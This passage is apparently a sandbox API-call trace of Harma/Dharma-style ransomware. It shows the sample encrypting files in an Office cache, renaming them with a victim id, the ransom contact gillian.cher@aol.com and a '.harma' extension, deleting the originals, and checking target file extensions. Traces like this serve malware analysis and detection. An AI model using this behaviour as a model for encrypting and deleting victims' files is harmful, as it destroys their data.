out: lpBuffer=0x3dc0020*, lpNumberOfBytesRead=0x35ffed4*=0x80760, lpOverlapped=0x0) returned 1 [0054.647] WriteFile (in: hFile=0x1f0, lpBuffer=0x3dc0020*, nNumberOfBytesToWrite=0x80770, lpNumberOfBytesWritten=0x35ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesWritten=0x35ffc9c*=0x80770, lpOverlapped=0x0) returned 1 [0054.656] ReadFile (in: hFile=0x1e0, lpBuffer=0x3dc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesRead=0x35ffed4*=0x0, lpOverlapped=0x0) returned 1 [0054.656] WriteFile (in: hFile=0x1f0, lpBuffer=0x3dc0020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x35ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesWritten=0x35ffc9c*=0xea, lpOverlapped=0x0) returned 1 [0054.657] SetEndOfFile (hFile=0x1f0) returned 1 [0054.657] CloseHandle (hObject=0x1f0) returned 1 [0054.657] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35ffec8 | out: lpNewFilePointer=0x0) returned 1 [0054.657] SetEndOfFile (hFile=0x1e0) returned 1 [0055.005] CloseHandle (hObject=0x1e0) returned 1 [0055.006] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x2020) returned 1 [0055.006] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\dwdcw20.dll")) returned 1 [0055.006] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll") returned 74 [0055.006] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll") returned 74 [0055.006] lstrlenW (lpString=".doc") returned 4 [0055.006] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0055.006] lstrlenW (lpString=".docx") returned 5 [0055.006] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0055.006] lstrlenW (lpString=".pdf") returned 4 [0055.006] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0055.006] lstrlenW (lpString=".xls") returned 4 [0055.007] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0055.007] lstrlenW (lpString=".xlsx") returned 5 [0055.007] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0055.007] lstrlenW (lpString=".ppt") returned 4 [0055.007] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0055.007] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll") returned 74 [0055.007] lstrlenW (lpString=".zip") returned 4 [0055.007] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0055.007] lstrlenW (lpString=".rar") returned 4 [0055.007] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0055.007] lstrlenW (lpString=".bz2") returned 4 [0055.007] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0055.007] lstrlenW (lpString=".7z") returned 3 [0055.007] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0055.007] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll") returned 74 [0055.007] lstrlenW (lpString=".dbf") returned 4 [0055.007] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0055.007] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll") returned 74 [0055.007] lstrlenW (lpString=".1cd") returned 4 [0055.007] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0055.007] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll") returned 74 [0055.007] lstrlenW (lpString=".jpg") returned 4 [0055.007] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0055.007] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll") returned 74 [0055.007] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll") returned 74 [0055.007] lstrlenW (lpString=".doc") returned 4 [0055.007] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0055.007] lstrlenW (lpString=".docx") returned 5 [0055.007] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0055.008] lstrlenW (lpString=".pdf") returned 4 [0055.008] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0055.008] lstrlenW (lpString=".xls") returned 4 [0055.008] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0055.008] lstrlenW (lpString=".xlsx") returned 5 [0055.008] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0055.008] lstrlenW (lpString=".ppt") returned 4 [0055.008] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0055.008] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll") returned 74 [0055.008] lstrlenW (lpString=".zip") returned 4 [0055.008] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0055.008] lstrlenW (lpString=".rar") returned 4 [0055.008] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0055.008] lstrlenW (lpString=".bz2") returned 4 [0055.008] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0055.008] lstrlenW (lpString=".7z") returned 3 [0055.008] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0055.008] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll") returned 74 [0055.008] lstrlenW (lpString=".dbf") returned 4 [0055.008] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0055.008] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll") returned 74 [0055.008] lstrlenW (lpString=".1cd") returned 4 [0055.008] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0055.008] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll") returned 74 [0055.008] lstrlenW (lpString=".jpg") returned 4 [0055.008] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0055.009] lstrcmpiW (lpString1=".cab", lpString2=".harma") returned -1 [0055.009] lstrlenW (lpString="OfficeLR.cab") returned 12 [0055.009] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officelr.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0055.009] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x35fff1c | out: lpFileSize=0x35fff1c*=14127746) returned 1 [0055.009] CloseHandle (hObject=0x1e0) returned 1 [0055.009] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officelr.cab")) returned 0x2020 [0055.009] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officelr.cab.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0055.009] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officelr.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officelr.cab.id-9c354b42.[gillian.cher@aol.com].harma")) returned 1 [0055.010] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officelr.cab.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0055.010] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35ffc6c | out: lpNewFilePointer=0x0) returned 1 [0055.010] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35ffc2c | out: lpNewFilePointer=0x0) returned 1 [0055.010] ReadFile (in: hFile=0x1e0, lpBuffer=0x3dc0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x35ffc38, lpOverlapped=0x0 | out: lpBuffer=0x3dc0058*, lpNumberOfBytesRead=0x35ffc38*=0x40000, lpOverlapped=0x0) returned 1 [0055.014] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x47db80, lpNewFilePointer=0x0, dwMoveMethod=0x35ffc2c | out: lpNewFilePointer=0x0) returned 1 [0055.014] ReadFile (in: hFile=0x1e0, lpBuffer=0x3e00058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x35ffc38, lpOverlapped=0x0 | out: lpBuffer=0x3e00058*, lpNumberOfBytesRead=0x35ffc38*=0x40000, lpOverlapped=0x0) returned 1 [0055.026] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x35ffc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0055.026] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0xd39282, lpNewFilePointer=0x0, dwMoveMethod=0x35ffc2c | out: lpNewFilePointer=0x0) returned 1 [0055.026] ReadFile (in: hFile=0x1e0, lpBuffer=0x3e40058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x35ffc38, lpOverlapped=0x0 | out: lpBuffer=0x3e40058*, lpNumberOfBytesRead=0x35ffc38*=0x40000, lpOverlapped=0x0) returned 1 [0055.043] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35ffec8 | out: lpNewFilePointer=0x0) returned 1 [0055.044] WriteFile (in: hFile=0x1e0, lpBuffer=0x3dc0020*, nNumberOfBytesToWrite=0xc0104, lpNumberOfBytesWritten=0x35ffcb0, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesWritten=0x35ffcb0*=0xc0104, lpOverlapped=0x0) returned 1 [0055.302] SetEndOfFile (hFile=0x1e0) returned 1 [0055.303] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x40000) returned 0x3fd9e48 [0055.303] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35ffc7c | out: lpNewFilePointer=0x0) returned 1 [0055.303] WriteFile (in: hFile=0x1e0, lpBuffer=0x3fd9e48*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x35ffc88, lpOverlapped=0x0 | out: lpBuffer=0x3fd9e48*, lpNumberOfBytesWritten=0x35ffc88*=0x40000, lpOverlapped=0x0) returned 1 [0055.304] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x47db80, lpNewFilePointer=0x0, dwMoveMethod=0x35ffc7c | out: lpNewFilePointer=0x0) returned 1 [0055.304] WriteFile (in: hFile=0x1e0, lpBuffer=0x3fd9e48*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x35ffc88, lpOverlapped=0x0 | out: lpBuffer=0x3fd9e48*, lpNumberOfBytesWritten=0x35ffc88*=0x40000, lpOverlapped=0x0) returned 1 [0055.305] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0xd39282, lpNewFilePointer=0x0, dwMoveMethod=0x35ffc7c | out: lpNewFilePointer=0x0) returned 1 [0055.305] WriteFile (in: hFile=0x1e0, lpBuffer=0x3fd9e48*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x35ffc88, lpOverlapped=0x0 | out: lpBuffer=0x3fd9e48*, lpNumberOfBytesWritten=0x35ffc88*=0x40000, lpOverlapped=0x0) returned 1 [0055.307] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3fd9e48 | out: hHeap=0x5a0000) returned 1 [0055.307] CloseHandle (hObject=0x1e0) returned 1 [0055.307] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x2020) returned 1 [0055.308] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab") returned 75 [0055.308] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab") returned 75 [0055.308] lstrlenW (lpString=".doc") returned 4 [0055.308] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0055.308] lstrlenW (lpString=".docx") returned 5 [0055.308] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0055.308] lstrlenW (lpString=".pdf") returned 4 [0055.308] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0055.308] lstrlenW (lpString=".xls") returned 4 [0055.308] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0055.308] lstrlenW (lpString=".xlsx") returned 5 [0055.308] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0055.308] lstrlenW (lpString=".ppt") returned 4 [0055.308] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0055.308] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab") returned 75 [0055.308] lstrlenW (lpString=".zip") returned 4 [0055.308] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0055.308] lstrlenW (lpString=".rar") returned 4 [0055.308] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0055.308] lstrlenW (lpString=".bz2") returned 4 [0055.308] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0055.308] lstrlenW (lpString=".7z") returned 3 [0055.308] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0055.308] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab") returned 75 [0055.308] lstrlenW (lpString=".dbf") returned 4 [0055.308] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0055.308] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab") returned 75 [0055.308] lstrlenW (lpString=".1cd") returned 4 [0055.308] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0055.309] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab") returned 75 [0055.309] lstrlenW (lpString=".jpg") returned 4 [0055.309] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0055.309] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab") returned 75 [0055.309] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab") returned 75 [0055.309] lstrlenW (lpString=".doc") returned 4 [0055.309] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0055.309] lstrlenW (lpString=".docx") returned 5 [0055.309] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0055.309] lstrlenW (lpString=".pdf") returned 4 [0055.309] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0055.309] lstrlenW (lpString=".xls") returned 4 [0055.309] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0055.309] lstrlenW (lpString=".xlsx") returned 5 [0055.309] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0055.309] lstrlenW (lpString=".ppt") returned 4 [0055.309] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0055.309] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab") returned 75 [0055.309] lstrlenW (lpString=".zip") returned 4 [0055.309] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0055.309] lstrlenW (lpString=".rar") returned 4 [0055.309] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0055.309] lstrlenW (lpString=".bz2") returned 4 [0055.309] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0055.309] lstrlenW (lpString=".7z") returned 3 [0055.309] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0055.309] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab") returned 75 [0055.309] lstrlenW (lpString=".dbf") returned 4 [0055.309] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0055.309] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab") returned 75 [0055.310] lstrlenW (lpString=".1cd") returned 4 [0055.310] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0055.310] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab") returned 75 [0055.310] lstrlenW (lpString=".jpg") returned 4 [0055.310] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0055.310] lstrcmpiW (lpString1=".MST", lpString2=".harma") returned 1 [0055.310] lstrlenW (lpString="ShellUI.MST") returned 11 [0055.310] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\shellui.mst"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0055.310] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x35fff1c | out: lpFileSize=0x35fff1c*=3584) returned 1 [0055.310] CloseHandle (hObject=0x1e0) returned 1 [0055.310] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\shellui.mst")) returned 0x2020 [0055.311] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\shellui.mst.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0055.311] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\shellui.mst"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0055.311] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35ffec8 | out: lpNewFilePointer=0x0) returned 1 [0055.311] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35ffec8 | out: lpNewFilePointer=0x0) returned 1 [0055.311] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\shellui.mst.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170 [0055.311] GetLastError () returned 0x0 [0055.311] ReadFile (in: hFile=0x1e0, lpBuffer=0x3dc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesRead=0x35ffed4*=0xe00, lpOverlapped=0x0) returned 1 [0055.313] WriteFile (in: hFile=0x170, lpBuffer=0x3dc0020*, nNumberOfBytesToWrite=0xe10, lpNumberOfBytesWritten=0x35ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesWritten=0x35ffc9c*=0xe10, lpOverlapped=0x0) returned 1 [0055.317] ReadFile (in: hFile=0x1e0, lpBuffer=0x3dc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesRead=0x35ffed4*=0x0, lpOverlapped=0x0) returned 1 [0055.317] WriteFile (in: hFile=0x170, lpBuffer=0x3dc0020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x35ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesWritten=0x35ffc9c*=0xea, lpOverlapped=0x0) returned 1 [0055.317] SetEndOfFile (hFile=0x170) returned 1 [0055.317] CloseHandle (hObject=0x170) returned 1 [0055.317] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35ffec8 | out: lpNewFilePointer=0x0) returned 1 [0055.317] SetEndOfFile (hFile=0x1e0) returned 1 [0055.318] CloseHandle (hObject=0x1e0) returned 1 [0055.318] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x2020) returned 1 [0055.318] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\shellui.mst")) returned 1 [0055.319] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST") returned 74 [0055.319] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST") returned 74 [0055.319] lstrlenW (lpString=".doc") returned 4 [0055.319] lstrcmpiW (lpString1=".doc", lpString2=".MST") returned -1 [0055.319] lstrlenW (lpString=".docx") returned 5 [0055.319] lstrcmpiW (lpString1=".docx", lpString2="I.MST") returned -1 [0055.319] lstrlenW (lpString=".pdf") returned 4 [0055.319] lstrcmpiW (lpString1=".pdf", lpString2=".MST") returned 1 [0055.319] lstrlenW (lpString=".xls") returned 4 [0055.319] lstrcmpiW (lpString1=".xls", lpString2=".MST") returned 1 [0055.319] lstrlenW (lpString=".xlsx") returned 5 [0055.319] lstrcmpiW (lpString1=".xlsx", lpString2="I.MST") returned -1 [0055.319] lstrlenW (lpString=".ppt") returned 4 [0055.319] lstrcmpiW (lpString1=".ppt", lpString2=".MST") returned 1 [0055.319] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST") returned 74 [0055.319] lstrlenW (lpString=".zip") returned 4 [0055.319] lstrcmpiW (lpString1=".zip", lpString2=".MST") returned 1 [0055.319] lstrlenW (lpString=".rar") returned 4 [0055.319] lstrcmpiW (lpString1=".rar", lpString2=".MST") returned 1 [0055.319] lstrlenW (lpString=".bz2") returned 4 [0055.319] lstrcmpiW (lpString1=".bz2", lpString2=".MST") returned -1 [0055.319] lstrlenW (lpString=".7z") returned 3 [0055.319] lstrcmpiW (lpString1=".7z", lpString2="MST") returned -1 [0055.319] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST") returned 74 [0055.319] lstrlenW (lpString=".dbf") returned 4 [0055.319] lstrcmpiW (lpString1=".dbf", lpString2=".MST") returned -1 [0055.319] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST") returned 74 [0055.319] lstrlenW (lpString=".1cd") returned 4 [0055.319] lstrcmpiW (lpString1=".1cd", lpString2=".MST") returned -1 [0055.319] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST") returned 74 [0055.319] lstrlenW (lpString=".jpg") returned 4 [0055.320] lstrcmpiW (lpString1=".jpg", lpString2=".MST") returned -1 [0055.320] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST") returned 74 [0055.320] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST") returned 74 [0055.320] lstrlenW (lpString=".doc") returned 4 [0055.320] lstrcmpiW (lpString1=".doc", lpString2=".MST") returned -1 [0055.320] lstrlenW (lpString=".docx") returned 5 [0055.320] lstrcmpiW (lpString1=".docx", lpString2="I.MST") returned -1 [0055.320] lstrlenW (lpString=".pdf") returned 4 [0055.320] lstrcmpiW (lpString1=".pdf", lpString2=".MST") returned 1 [0055.320] lstrlenW (lpString=".xls") returned 4 [0055.320] lstrcmpiW (lpString1=".xls", lpString2=".MST") returned 1 [0055.320] lstrlenW (lpString=".xlsx") returned 5 [0055.320] lstrcmpiW (lpString1=".xlsx", lpString2="I.MST") returned -1 [0055.320] lstrlenW (lpString=".ppt") returned 4 [0055.320] lstrcmpiW (lpString1=".ppt", lpString2=".MST") returned 1 [0055.320] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST") returned 74 [0055.320] lstrlenW (lpString=".zip") returned 4 [0055.320] lstrcmpiW (lpString1=".zip", lpString2=".MST") returned 1 [0055.320] lstrlenW (lpString=".rar") returned 4 [0055.320] lstrcmpiW (lpString1=".rar", lpString2=".MST") returned 1 [0055.320] lstrlenW (lpString=".bz2") returned 4 [0055.320] lstrcmpiW (lpString1=".bz2", lpString2=".MST") returned -1 [0055.320] lstrlenW (lpString=".7z") returned 3 [0055.320] lstrcmpiW (lpString1=".7z", lpString2="MST") returned -1 [0055.320] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST") returned 74 [0055.320] lstrlenW (lpString=".dbf") returned 4 [0055.320] lstrcmpiW (lpString1=".dbf", lpString2=".MST") returned -1 [0055.320] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST") returned 74 [0055.320] lstrlenW (lpString=".1cd") returned 4 [0055.321] lstrcmpiW (lpString1=".1cd", lpString2=".MST") returned -1 [0055.321] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST") returned 74 [0055.321] lstrlenW (lpString=".jpg") returned 4 [0055.321] lstrcmpiW (lpString1=".jpg", lpString2=".MST") returned -1 [0055.321] lstrcmpiW (lpString1=".msi", lpString2=".harma") returned 1 [0055.321] lstrlenW (lpString="AccessMUI.msi") returned 13 [0055.321] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\accessmui.msi"), 